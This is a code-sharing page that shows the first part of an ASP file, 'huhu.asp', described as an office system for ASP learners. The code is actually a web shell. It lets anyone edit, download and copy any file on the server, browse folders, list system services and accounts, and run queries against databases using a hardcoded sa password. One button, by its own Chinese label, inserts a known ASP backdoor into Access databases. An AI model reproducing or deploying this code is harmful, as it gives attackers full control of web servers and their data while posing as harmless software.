⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 huhu.asp

📁 我的一个oa用asp编写的系统可能对那些学习asp的人员有用。
💻 ASP
📖 第 1 页 / 共 5 页
字号:
    <td colspan="2" class="trHead">&nbsp;</td>
  </tr>
  <tr align="right"> 
    <td height="22" colspan="2" class="td">Powered By <a href="javascript:;" title="QQ:89009628">Marcos</a> 2004.11&nbsp;</td>
  </tr>
</table>
<a name="foot"></a>
<%
		showExecuteTime()
	end sub
	
	sub streamEditFile(thePath)
		dim fileName,fileContent,userCharset
		fileName=thePath
		userCharset=request("userCharset")
		
		if request("theAct")="save" then
			fileContent=request("fileContent")
			streamWriteToFile thePath,fileContent
			response.end
		end if
		
		fileContent=streamReadFromFile(fileName,request("userCharset"))
%>
<table border="0" align="center" cellpadding="0" cellspacing="0">
  <form method="post" action="?pageName=stream&theAct=save" onsubmit="if(confirm('您确认要保存当前文件吗?')){this.Submit.disabled=true;this.Submit2.disabled=true;this.Submit3.disabled=true;}else{return false;}">
    <tr>
      <td><input name="thePath" type="text" id="thePath" value="<%=thePath%>" size="50">
        <input type="button" name="Submit6" value="查 看" onclick="location.href='?pageName=stream&theAct=edit&thePath='+this.form.thePath.value;this.disabled=true;"></td>
    </tr>
    <tr> 
      <td><textarea name="fileContent" cols="70" rows="25" id="fileContent"><%=server.htmlEncode(fileContent)%></textarea></td>
    </tr>
    <tr> 
      <td height="50" align="right"><font class="warningColor">非GB2312编码文件可能无法正确保存!</font> 
        <input name="userCharset" type="text" value="<%=userCharset%>" size="10"> 
        <input type="button" value="重新编码" name="Submit3" onclick="location.href='?<%=replace("pageName=stream&thePath="&thePath&"&theAct=edit","\","\\")%>&userCharset='+this.form.userCharset.value;this.disabled=true;"> 
        <input type="button" name="Submit" value="保 存" onClick="if(confirm('确认保存修改?')){this.form.submit();}"> 
        <input type="button" name="Submit2" value="另存为" onclick="stream_saveAs(this.form,'<%=encodeForUrl(thePath,true)%>');"> 
        &nbsp; </td>
    </tr>
  </form>
</table>
<a name="foot"></a>
<%
		showExecuteTime()
	end sub
	
	sub streamGetFolderList(thePath,showFolder)
		dim sa,ext,flag,list,folders,theHref
		set sa=server.createObject(shellStr&"."&applicationStr)

		if len(thePath)=2 then
			thePath=thePath&"\"
		end if

		set folders=sa.namespace(thePath)

		if showFolder=true and getParentFolder(thePath)<>"" then
			echo "&nbsp;<a href=""?pageName=stream&thePath="&encodeForUrl(getParentFolder(thePath),false)&""">..</a><br>"
		end if

		on error resume next
		for each list in folders.items
			if showFolder=true and list.isfolder Then
				echo "&nbsp;<a href=""?pageName=stream&thePath="&encodeForUrl(list.path,false)&""">["
				echo replace(replace(lcase(list.path),lcase(thePath),""),"\","")
				echo "]</a><br>"
			 else
				if showFolder=false and (not list.isfolder) Then
					ext=split(list.path,".")(uBound(split(list.path,".")))
					flag=instr(lcase(editableFileExt),lcase("$"&ext&"$"))
					if instr(lcase(list.path),lcase(server.mapPath("/"))) then
						theHref=encodeForUrl(mid(replace(lcase(list.path),lcase(server.mapPath("/")),""),2),false)
						echo "&nbsp;<a href=""/"&theHref&""" target=_blank>"&replace(replace(lcase(list.path),lcase(thePath),""),"\","")&"</a>"
					 else
						echo "&nbsp;"&replace(replace(lcase(list.path),lcase(thePath),""),"\","")
					end if
					echo "&nbsp;&nbsp;&nbsp;<a href=javascript:; onclick=""stream_downIt('"&encodeForUrl(list.path,true)&"');""><font class=warningColor>Down</font></a>-"
					if flag>0 then
						echo "<a href=#foot onclick=""stream_editIt('"&encodeForUrl(list.path,true)&"');""><font class=warningColor>Edit</font></a>-"
					end if
					echo "<a href=javascript:; onclick=""stream_saveAsTwo('"&encodeForUrl(list.path,true)&"');""><font class=warningColor>SaveAs</font></a>-"
					echo getTheSize(list.size)
					echo "<br>"
				end if
			end if
		next
		if err then
			onErr err.description
		end if
	end sub
	
	sub downTheFile(thePath)
		dim stream,fileName,fileContentType
		fileName=split(thePath,"\")(uBound(split(thePath,"\")))
		set stream=server.createObject("adodb.stream")
		stream.open
		stream.type=1
		stream.loadFromFile(thePath)
		fileContentType=getContentType(fileName)
		response.addHeader "Content-Disposition", "attachment; filename=" & fileName
		response.addHeader "Content-Length",stream.Size
		response.charset="UTF-8"
		response.contentType=fileContentType
		response.binaryWrite stream.read 
		response.flush
		stream.close
		set stream=nothing
	end sub
	
	function getContentType(fileName)
		select case split(fileName,".")(uBound(split(fileName,".")))
			case "asf"
				getContentType="video/x-ms-asf"
			case "avi"
				getContentType="video/avi"
			case "doc"
				getContentType="application/msword"
			case "zip"
				getContentType="application/zip"
			case "xls"
				getContentType="application/vnd.ms-excel"
			case "gif"
				getContentType="image/gif"
			case "jpg", "jpeg"
				getContentType="image/jpeg"
			case "wav"
				getContentType="audio/wav"
			case "mp3"
				getContentType="audio/mpeg3"
			case "mpg", "mpeg"
				getContentType="video/mpeg"
			case "rtf"
				getContentType="application/rtf"
			case "htm", "html"
				getContentType="text/html"
			case "txt","js"
				getContentType="text/plain"
			case else
				getContentType="application/octet-stream"
		end select
	end function
	
	sub saveAsTwo(thePath,toPath)
		on error resume next
		dim stream
		if lTrim(thePath)=lTrim(toPath) then
			echo "<script>alert('源路径与目标路径相同,操作停止!');</script>"
			response.end
		end if
		set stream=server.createObject("adodb.stream")
		stream.type=1
		stream.open
		stream.loadFromFile thePath
		chkErr err,err.description
		stream.saveToFile toPath,2
		echo "<script language=""javascript"">alert('另存为操作成功!');</script>"
		set stream=nothing
	end sub
	
	function streamReadFromFile(thePath,userCharset)
		dim stream
		set stream=server.createObject("adodb.stream")
		with stream
			.type=2
			.mode=3
			.open
			on error resume next
			.loadFromFile thePath
			chkErr err,"文件无法被打开,请重试!"
			if userCharset<>"" then
				.charset=userCharset
			 else
				.charset="gb2312"
			end if
			chkErr err,"编码类型错误!"
			.Position=2
			streamReadFromFile=.readText()
			.close
		end with
		set stream=nothing
	end function
	
	sub streamWriteToFile(thePath,fileContent)
		dim stream
		set stream=server.createObject("adodb.stream")
		with stream
			.type=2
			.mode=3
			.open
			.charset="gb2312"
			.writeText fileContent
			.saveToFile thePath,2
			.close
		end with
		set stream=nothing
		echo "文件保存成功! [<a href="""&request.serverVariables("http_referer")&""">返回</a>]"
	end sub

	sub pageServer()
		dim i,obj,theAct,theStr
		isIn(1)
		theAct=request("theAct")
		showTitle("服务器相关数据")
		
		dim t1,t2,lsabc,theTime
		
		if theAct="showService" then
			theTime="系统服务列表打开时不执行速度测试"
			theStr="<a href=""?pageName=server"">关闭系统服务列表</a>"
		 else
			t1=timer()
			for i=1 to 500000
				lsabc=1+1
			next
			t2=timer()
			theTime=cstr(int(((t2-t1)*10000)+0.5)/10)&" 毫秒(50万次1+1运算所需时间)"
			theStr="<a href=""?pageName=server&theAct=showService"">打开系统服务列表</a>"
		end if
%>
<table width=560 border=0 align="center" cellpadding=0 cellspacing=0>
  <tr align="center" class="td" onmouseover="this.className='';" onMouseOut="this.className='td'" height=18> 
    <td height="22" colspan="2" class="td">服务器相关数据</td>
  </tr>
  <tr align="center" class="td" onmouseover="this.className='';" onMouseOut="this.className='td'"> 
    <td height="0" colspan="2" class="trHead">&nbsp;</td>
  </tr>
  <tr class="td" height=18 onmouseover="this.className='';" onMouseOut="this.className='td'"> 
    <td height="22" align=left>&nbsp;服务器名</td>
    <td height="22">&nbsp;<%=request.serverVariables("SERVER_NAME")%></td>
  </tr>
  <tr class="td" height=18 onmouseover="this.className='';" onMouseOut="this.className='td'"> 
    <td height="22" align=left>&nbsp;服务器IP</td>
    <td height="22">&nbsp;<%=request.serverVariables("LOCAL_ADDR")%></td>
  </tr>
  <tr class="td" height=18 onmouseover="this.className='';" onMouseOut="this.className='td'"> 
    <td height="22" align=left>&nbsp;服务器时间</td>
    <td height="22">&nbsp;<%=now%></td>
  </tr>
  <tr class="td" height=18 onmouseover="this.className='';" onMouseOut="this.className='td'"> 
    <td height="22" align=left>&nbsp;本文件绝对路径</td>
    <td height="22">&nbsp;<%=server.mappath(request.serverVariables("SCRIPT_NAME"))%></td>
  </tr>
  <tr class="td" height=18 onmouseover="this.className='';" onMouseOut="this.className='td'"> 
    <td height="22" align=left>&nbsp;服务器操作系统</td>
    <td height="22">&nbsp;<%=request.serverVariables("OS")%></td>
  </tr>
  <tr class="td" height=18 onmouseover="this.className='';" onMouseOut="this.className='td'"> 
    <td height="22" align=left>&nbsp;服务器运算速度测试</td>
    <td height="22" class="warningColor">&nbsp;<%=theTime%></td>
  </tr>
  <tr class="td" height=18 onmouseover="this.className='';" onMouseOut="this.className='td'">
    <td height="22" align=left>&nbsp;服务器系统服务列表</td>
    <td height="22">&nbsp;<%=theStr%></td>
  </tr>
<%
	if  theAct="showService" then
		on error resume next
		for each obj in getObject("WinNT://.")
			err.clear
			echo "<tr class=""td"">"
			echo "<td  height=""22"">&nbsp;"
			echo obj.Name
			echo "</td><td class=""td"">&nbsp;"
			echo obj.DisplayName
			if err then
				echo "系统用户(组)"
			end if
			echo "</td></tr>"
			echo "<tr class=""td""><td height=""22""></td><td>&nbsp;<font color=#FF0000>"&obj.path&"</font></td></tr>"
		next 
	end if
%>
  <tr class="td" onmouseover="this.className='';" onMouseOut="this.className='td'"> 
    <td colspan="2" align=left class="trHead">&nbsp;</td>
  </tr>
  <tr align="right" class="td" height=18> 
    <td height="22" colspan="2">Powered By 蝴蝶 2004.11&nbsp;</td>
  </tr>
</table>
<%
		showExecuteTime()
	end sub

	sub pageSql()
		isIn(2)
		dim theAct,sqlStr
		theAct=request("theAct")
		sqlStr=request("sqlStr")
		
		showTitle("mdb+mssql数据库操作页")
		
		if sqlStr="" then
			if session(m&"sqlStr")="" then
				sqlStr="e:\hytop.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs;"
			 else
				sqlStr=session(m&"sqlStr")
			end if
		end if
		session(m&"sqlStr")=sqlStr
%>
<table width="760" border="0" align="center" cellpadding="0" cellspacing="0">
  <form method="post" action="?pageName=sql&theAct=showTables" onsubmit="this.Submit.disabled=true;">
  <tr> 
      <td height="22" align="center" class="td"><a href="?pageName=sql">mdb+mssql数据库操作</a></td>
  </tr>
  <tr> 
    <td class="trHead">&nbsp;</td>
  </tr>
  <tr>
      <td height="50" align="center" class="td"> 
        <input name="sqlStr" type="text" id="sqlStr" value="<%=sqlStr%>" size="60">
    </td>
  </tr>
  <tr> 
    <td height="22" align="center" class="td">
		<input type="submit" name="Submit" value="提 交">
		<input type="button" name="Submit2" value="插 入" onclick="if(confirm('这里是在ACESS数据里插入海阳顶端网ASP后门\n默认密码是<%=clientPassword%>\n后门插入后可以使用的前提是\n数据库是asp后缀,并且没有错乱asp代码\n确认操作吗?')){location.href='?pageName=sql&theAct=inject&sqlStr='+this.form.sqlStr.value;this.disabled=true;}">
		<input type="button" name="Submit3" value="提 示" onClick="alert('插入只针对ACESS操作,\n要浏览ACESS在表单中的写法是,d:bbs.mdb\nSQL据库写法是,sql:连接字符串,不要忘写sql:')">
		<input type="button" value="示 例" onclick="this.form.sqlStr.value='e:\hytop.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs;';">
    </td>
  </tr>
</form>
</table>
<%
		select case theAct
			case "showTables"
				showTables()
			case "query"
				showQuery()
			case "inject"
				accessInject()
		end select
	
		showExecuteTime()
	end sub
	
	sub showTables()
		dim conn,sqlStr,rsTable,rsColumn,connStr,tablesStr,loopI
		sqlStr=request("sqlStr")
		if lcase(left(sqlStr,4))="sql:" then
			connStr=mid(sqlStr,5)
		 else
			connStr="Provider=Microsoft.Jet.Oledb.4.0;Data Source="&sqlStr
		end if
		set conn=server.createObject("adodb.connection")
		
		on error resume next
		conn.open connStr
		chkErr err,encodeForUrl(err.description&"\n"&sqlStr,true)
		
		set rsTable=conn.openSchema(20,array(empty,empty,empty,"table"))

		do until rsTable.eof
			tablesStr=tablesStr&"<br>&nbsp;<a href=""?pageName=sql&theAct=query&sqlStr="&encodeForUrl(sqlStr,false)&"&theTable="&enCodeForUrl(rsTable("Table_Name"),false)&""">"&rsTable("Table_Name")&"</a>"
			rsTable.moveNext
		loop
		rsTable.moveFirst
%>
<br>
<table width="760" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td height="22" colspan="2" align="center" class="td"><a href="?pageName=sql&theAct=showTables&sqlStr=<%=encodeForUrl(sqlStr,false)%>">数据库表结构查看</a></td>
  </tr>
  <tr> 
    <td colspan="2" class="trHead">&nbsp;</td>
  </tr>
  <tr> 
    <td valign="top" class="td"><%=tablesStr%><br> <br> </td>
    <td align="center" valign="top"><a href="<%="?pageName=sql&theAct=query&sqlStr="&encodeForUrl(sqlStr,false)&""%>">转到SQL命令执行</a> 
      <%
		do until rsTable.eof
			set rsColumn=conn.openSchema(4,array(empty,empty,rsTable("Table_Name").value))
%>
      <br> 
      <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr> 
          <td height="22" colspan="6" class="tr"><b><%=rsTable("Table_Name")%></b></td>
        </tr>
        <tr align="center"> 
          <td class="td">字段名</td>
          <td class="td">类型</td>
          <td class="td">大小</td>
          <td class="td">精度</td>
          <td class="td">允许为空</td>
          <td class="td">默认值</td>
        </tr>
        <%
			loopI=0
			do until rsColumn.eof

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -